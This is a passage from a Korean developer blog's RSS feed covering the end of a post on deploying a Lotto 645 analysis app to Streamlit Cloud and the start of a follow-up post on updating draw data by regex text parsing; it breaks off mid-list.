&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; Git 저장소 초기화 (Git repository initialized)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; GitHub에 푸시 완료 (Pushed to GitHub)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; README.md 작성 (README.md written)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Streamlit Cloud 배포 (Streamlit Cloud Deployment):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; share.streamlit.io 로그인 (Logged into share.streamlit.io)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 저장소 연결 (Repository connected)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 배포 설정 완료 (Deployment configured)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 배포 성공 확인 (Deployment successful)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;배포 후 (After Deployment):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 모든 페이지 테스트 (All pages tested)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 기능 정상 작동 확인 (Features working)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 성능 확인 (Performance checked)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; URL 공유 (URL shared)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  전통적 배포 vs Streamlit Cloud (Traditional vs Streamlit Cloud)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목 (Item)&lt;/th&gt;
&lt;th&gt;전통적 배포 (Traditional)&lt;/th&gt;
&lt;th&gt;Streamlit Cloud&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;서버 설정 (Server Setup)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;VPS, Docker, Nginx&lt;/td&gt;
&lt;td&gt;불필요 (Not needed) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;배포 시간 (Deploy Time)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;1-2시간 (1-2 hours)&lt;/td&gt;
&lt;td&gt;3분 (3 min) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;비용 (Cost)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;$10-50/월 ($10-50/mo)&lt;/td&gt;
&lt;td&gt;무료 (FREE) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;업데이트 (Updates)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;SSH, 재시작 (SSH, restart)&lt;/td&gt;
&lt;td&gt;Git push ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;도메인 (Domain)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;별도 구매 (Purchase separately)&lt;/td&gt;
&lt;td&gt;무료 제공 (Provided free) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SSL 인증서 (SSL Certificate)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Let's Encrypt 설정 (Setup required)&lt;/td&gt;
&lt;td&gt;자동 (Automatic) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;모니터링 (Monitoring)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;별도 툴 필요 (Need tools)&lt;/td&gt;
&lt;td&gt;내장 (Built-in) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;난이도 (Difficulty)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;⭐ ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론 (Conclusion):&lt;/b&gt; Streamlit Cloud가 압도적! (Streamlit Cloud dominates!)&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  트러블슈팅 (Troubleshooting)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;❌ 자주 발생하는 에러 (Common Errors)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. ModuleNotFoundError&lt;/h4&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;ModuleNotFoundError: No module named 'pandas'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 (Solution):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;# requirements.txt에 추가 (Add to requirements.txt)
pandas&amp;gt;=2.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. FileNotFoundError&lt;/h4&gt;
&lt;pre class=&quot;gams&quot;&gt;&lt;code&gt;FileNotFoundError: [Errno 2] No such file or directory: 'Data/645_251227.csv'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 (Solution):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;lua&quot;&gt;&lt;code&gt;# 상대 경로를 절대 경로로 변경 (Change relative path to absolute)
import os
base_dir = os.path.dirname(__file__)
data_path = os.path.join(base_dir, &quot;../Data/645_251227.csv&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. Memory Error&lt;/h4&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;MemoryError: Unable to allocate 2.5 GiB&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 (Solution):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ruby&quot;&gt;&lt;code&gt;# 데이터 청크 처리 (Process data in chunks)
@st.cache_data
def load_data_chunked():
    chunks = []
    for chunk in pd.read_csv('data.csv', chunksize=10000):
        chunks.append(chunk)
    return pd.concat(chunks)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. 한글 깨짐 (Korean Character Issues)&lt;/h4&gt;
&lt;pre class=&quot;mipsasm&quot;&gt;&lt;code&gt;차트에 □□□ 표시 (Boxes shown in charts)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 (Solution):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vala&quot;&gt;&lt;code&gt;# 영어 라벨 사용 (Use English labels)
plt.title('Number Frequency Analysis')  # ✅
# 또는 (Or)
# requirements.txt에 폰트 패키지 추가 (Add font package)
matplotlib-fonttools&amp;gt;=4.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  디버깅 팁 (Debugging Tips)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 로컬에서 먼저 테스트 (Test Locally First):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;streamlit run src/web_app.py&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 로그 자주 확인 (Check Logs Frequently):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;# 디버그 메시지 추가 (Add debug messages)
st.write(f&quot;Debug: Data shape = {df.shape}&quot;)
print(f&quot;Loading data from {data_path}&quot;)  # 로그에 출력 (Output to logs)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 단계별 배포 (Deploy Step by Step):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최소 기능만 먼저 배포 (Deploy minimal features first)&lt;/li&gt;
&lt;li&gt;동작 확인 후 기능 추가 (Add features after verification)&lt;/li&gt;
&lt;li&gt;매번 테스트 (Test each time)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  관련 링크 (Related Links)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;GitHub&lt;/b&gt;: &lt;a href=&quot;https://github.com/MyJYP/lotter645_1227&quot;&gt;lotter645_1227&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit App&lt;/b&gt;: &lt;a href=&quot;https://lo645251227.streamlit.app/&quot;&gt;로또 645 분석 웹 앱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit Cloud&lt;/b&gt;: &lt;a href=&quot;https://share.streamlit.io/&quot;&gt;https://share.streamlit.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit 문서 (Docs)&lt;/b&gt;: &lt;a href=&quot;https://docs.streamlit.io/&quot;&gt;https://docs.streamlit.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이전 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/189&quot;&gt;6편 - 브라우저에 피어난 분석&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다음 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/187&quot;&gt;8편 - 복사하고, 붙여넣고, 3초&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  마무리하며 (Closing Thoughts)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;8501 포트를 넘어, 세상과 연결되었다.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Git push 단 한 번이었다. 서버 설정도, Docker도, Nginx도 필요 없었다. Streamlit Cloud가 모든 것을 처리했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3분 후, 앱이 라이브 상태가 되었다. &lt;code&gt;https://lo645251227.streamlit.app/&lt;/code&gt; - 전 세계 누구나 접속 가능한 URL이 생겼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동 배포는 마법 같았다. 코드를 수정하고 푸시하면, 2-3분 후 자동으로 새 버전이 배포되었다. SSH 접속도, 서버 재시작도 필요 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무료였다. 1GB 메모리, 무제한 공개 앱, HTTPS 자동 적용. 신용카드조차 필요하지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 개발 환경에서만 돌아가던 분석 도구가 이제 누구나 사용할 수 있는 서비스가 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널을 넘어 브라우저로, 로컬을 넘어 클라우드로.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리의 여정은 계속된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  SEO 태그&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;#포함 해시태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#StreamlitCloud #배포 #자동배포 #무료배포 #GitHub연동 #CI/CD #웹앱배포 #클라우드 #성능모니터링 #실시간로그&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;쉼표 구분 태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Streamlit Cloud, 배포, 자동배포, 무료, GitHub, Git, CI/CD, 클라우드, 모니터링, 로그, HTTPS, 도메인, 웹앱, Python, 서비스화&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성&lt;/b&gt;: @MyJYP&lt;br /&gt;&lt;b&gt;시리즈&lt;/b&gt;: 로또 645 데이터 분석 프로젝트 (7/10)&lt;br /&gt;&lt;b&gt;라이선스&lt;/b&gt;: CC BY-NC-SA 4.0&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  Claude Code 사용량&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 전:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 60,688 tokens&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 후:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 74,166 tokens (13% 사용 = 78%-65%)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용량 차이:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Episode 7 작성 사용량: ~13,500 tokens&lt;/li&gt;
&lt;li&gt;이미지 5개 생성 + 본문 660줄 작성 포함&lt;/li&gt;
&lt;li&gt;generate_episode7_images.py 스크립트 작성 (420줄) 포함&lt;/li&gt;
&lt;li&gt;Streamlit Cloud 배포 가이드 작성 포함&lt;/li&gt;
&lt;li&gt;주간사용량 2%사용 (74%-72%)&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>VibeCoding/lo645251227</category>
      <category>CI/CD</category>
      <category>git</category>
      <category>github</category>
      <category>Streamlit Cloud</category>
      <category>로그</category>
      <category>모니터링</category>
      <category>무료</category>
      <category>배포</category>
      <category>자동배포</category>
      <category>클라우드</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/188</guid>
      <comments>https://thepin.tistory.com/188#entry188comment</comments>
      <pubDate>Sun, 11 Jan 2026 11:47:20 +0900</pubDate>
    </item>
    <item>
      <title>Episode 8: 복사하고, 붙여넣고, 3초 (Copy, Paste, 3 Seconds)</title>
      <link>https://thepin.tistory.com/187</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;이 글은 패스트캠퍼스 바이브코딩 강의를 수강하며, 별도의 주제로 진행한 데이터 분석 프로젝트 과정을 기록한 것입니다. 코딩과 글 작성에는 클로드코드와 커서AI를 함께 활용했음을 미리 밝힙니다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;h1&gt;Episode 8: 복사하고, 붙여넣고, 3초 (Copy, Paste, 3 Seconds)&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;복잡한 크롤링 대신 단순한 복사-붙여넣기. 정규표현식이 만든 우아한 승리.&quot;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1508&quot; data-origin-height=&quot;880&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btKGWx/dJMcahwme0s/hcGewHkFKaWpXZROk6Jkj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btKGWx/dJMcahwme0s/hcGewHkFKaWpXZROk6Jkj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btKGWx/dJMcahwme0s/hcGewHkFKaWpXZROk6Jkj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtKGWx%2FdJMcahwme0s%2FhcGewHkFKaWpXZROk6Jkj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;678&quot; height=&quot;396&quot; data-origin-width=&quot;1508&quot; data-origin-height=&quot;880&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  이번 에피소드에서는&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;매주 새로운 로또 회차 데이터를 &lt;b&gt;3초 만에&lt;/b&gt; 업데이트하는 시스템을 만듭니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 크롤링보다 &lt;b&gt;99배 안정적&lt;/b&gt;이고, 수동 입력보다 &lt;b&gt;10배 빠른&lt;/b&gt; &lt;b&gt;텍스트 파싱 (Text Parsing)&lt;/b&gt; 방식을 구현합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  목차&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#1-%EB%AC%B8%EC%A0%9C-%EC%9D%B8%EC%8B%9D&quot;&gt;문제 인식&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#2-3%EA%B0%80%EC%A7%80-%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8-%EB%B0%A9%EB%B2%95&quot;&gt;3가지 업데이트 방법&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#3-%EC%A0%95%EA%B7%9C%ED%91%9C%ED%98%84%EC%8B%9D-%ED%8C%8C%EC%84%9C-%EA%B5%AC%ED%98%84&quot;&gt;정규표현식 파서 구현&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#4-%EC%8B%A4%EC%8B%9C%EA%B0%84-%ED%8C%8C%EC%8B%B1-ui&quot;&gt;실시간 파싱 UI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#5-%EC%9E%90%EB%8F%99-%EB%B0%B1%EC%97%85-%EC%8B%9C%EC%8A%A4%ED%85%9C&quot;&gt;자동 백업 시스템&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#6-%EC%8B%A4%EC%A0%84-%EC%82%AC%EC%9A%A9-%EA%B0%80%EC%9D%B4%EB%93%9C&quot;&gt;실전 사용 가이드&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 문제 인식 (Problem Recognition)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  매주 반복되는 번거로움 (Weekly Hassle)&lt;/h3&gt;
&lt;pre class=&quot;gauss&quot;&gt;&lt;code&gt;Every Saturday 21:00
└─&amp;gt; New lottery draw
    └─&amp;gt; Need to update CSV manually
        └─&amp;gt; Open file, add row, save...
            └─&amp;gt; 30 seconds of tedious work&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제점 (Problems):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;❌ 매주 토요일 저녁 수동 업데이트 (Manual update every Saturday)&lt;/li&gt;
&lt;li&gt;❌ CSV 파일 직접 편집 (Direct CSV editing)&lt;/li&gt;
&lt;li&gt;❌ 실수 가능성 (Typo risk)&lt;/li&gt;
&lt;li&gt;❌ 번거로운 프로세스 (Tedious process)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  이상적인 해결책 (Ideal Solution)&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;User:
1. Copy text from website    (&amp;lt; 1 sec)
2. Paste into app             (&amp;lt; 1 sec)
3. Click &quot;Save&quot;               (&amp;lt; 1 sec)
└─&amp;gt; Done! Total: ~3 seconds  &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;요구사항 (Requirements):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ 사용자 친화적 (User-friendly)&lt;/li&gt;
&lt;li&gt;✅ 빠른 속도 (Fast: &amp;lt; 5 sec)&lt;/li&gt;
&lt;li&gt;✅ 높은 안정성 (Highly reliable)&lt;/li&gt;
&lt;li&gt;✅ 데이터 안전성 (Data safety with auto-backup)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 3가지 업데이트 방법 (3 Update Methods)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2385&quot; data-origin-height=&quot;892&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAjOxr/dJMcafFjK0Z/L2k9XNOvsyUrTJFmxoIFek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAjOxr/dJMcafFjK0Z/L2k9XNOvsyUrTJFmxoIFek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAjOxr/dJMcafFjK0Z/L2k9XNOvsyUrTJFmxoIFek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAjOxr%2FdJMcafFjK0Z%2FL2k9XNOvsyUrTJFmxoIFek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2385&quot; height=&quot;892&quot; data-origin-width=&quot;2385&quot; data-origin-height=&quot;892&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  방법별 비교 (Method Comparison)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1️⃣ 자동 크롤링 (Auto Crawling)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기술 스택 (Tech Stack):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import requests
from bs4 import BeautifulSoup

def crawl_lottery_data(round_num):
    url = f&quot;https://www.dhlottery.co.kr/gameResult.do?method=byWin&amp;amp;drwNo={round_num}&quot;
    response = requests.get(url)
    soup = BeautifulSoup(response.text, 'html.parser')

    # HTML 구조 파싱 (Parse HTML structure)
    numbers = soup.select('.ball_645')  # CSS selector
    # ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점 (Pros):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ 완전 자동화 (Fully automated)&lt;/li&gt;
&lt;li&gt;✅ 사용자 개입 불필요 (No manual work)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단점 (Cons):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;❌ 웹사이트 구조 변경 시 동작 안 함 (Fails if site structure changes)&lt;/li&gt;
&lt;li&gt;❌ 네트워크 의존적 (Network dependent)&lt;/li&gt;
&lt;li&gt;❌ 신뢰도 70% (70% reliability)&lt;/li&gt;
&lt;li&gt;❌ 디버깅 어려움 (Hard to debug)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실행 시간 (Execution Time):&lt;/b&gt; 5-10초&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2️⃣ 텍스트 파싱 (Text Parsing) ⭐ 권장 (RECOMMENDED)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기술 스택 (Tech Stack):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import re

def parse_lottery_text(text):
    # 정규표현식으로 패턴 추출 (Extract patterns with regex)
    round_match = re.search(r'(\d+)회', text)
    numbers = re.findall(r'\b([1-9]|[1-3][0-9]|4[0-5])\b', text)
    # ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점 (Pros):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ 초고속 (3초, Super fast: 3 sec)&lt;/li&gt;
&lt;li&gt;✅ 매우 안정적 (Very reliable: 99%)&lt;/li&gt;
&lt;li&gt;✅ 사용자 친화적 (User-friendly)&lt;/li&gt;
&lt;li&gt;✅ 다양한 텍스트 형식 지원 (Supports various text formats)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단점 (Cons):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;⚠️ 복사-붙여넣기 필요 (Requires copy-paste)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실행 시간 (Execution Time):&lt;/b&gt; 3초&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3️⃣ 수동 입력 (Manual Input)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기술 스택 (Tech Stack):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;import streamlit as st

round_num = st.number_input(&quot;회차 (Round)&quot;, min_value=1)
date = st.date_input(&quot;날짜 (Date)&quot;)
numbers = st.multiselect(&quot;번호 (Numbers)&quot;, range(1, 46))
# ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점 (Pros):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ 완전한 제어 (Full control)&lt;/li&gt;
&lt;li&gt;✅ 의존성 없음 (No dependency)&lt;/li&gt;
&lt;li&gt;✅ 신뢰도 100% (100% reliability)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단점 (Cons):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;❌ 시간 소모 (Time consuming: 30 sec)&lt;/li&gt;
&lt;li&gt;❌ 실수 가능성 (Error prone)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실행 시간 (Execution Time):&lt;/b&gt; 30초&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  최종 선택: 텍스트 파싱 (Final Choice: Text Parsing)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이유 (Reasons):&lt;/b&gt;&lt;/p&gt;
